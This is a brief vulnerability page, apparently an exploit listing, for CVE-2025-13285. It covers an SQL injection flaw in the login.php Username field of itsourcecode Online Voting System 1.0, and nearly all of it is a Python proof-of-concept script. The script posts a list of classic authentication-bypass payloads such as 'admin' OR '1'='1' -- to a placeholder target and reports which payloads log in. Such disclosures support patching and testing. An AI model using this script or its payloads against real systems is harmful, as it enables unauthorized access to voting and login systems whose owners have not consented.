CVE-2025-13285: itsourcecode在线投票系统login.php SQL注入漏洞

import requests # CVE-2025-13285 SQL Injection PoC # Target: itsourcecode Online Voting System 1.0 # Vulnerability: SQL Injection in /login.php Username parameter target_url = "http://target.com/login.php" # Basic SQL Injection payload for authentication bypass payloads = [ "admin' OR '1'='1", "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR '1'='1' --", "' OR '1'='1' #" ] def test_sqli(url, payload): data = { 'Username': payload, 'Password': 'any' } try: response = requests.post(url, data=data, timeout=10) if 'dashboard' in response.text.lower() or response.status_code == 302: return True except: pass return False for payload in payloads: if test_sqli(target_url, payload): print(f"Vulnerable! Payload: {payload}")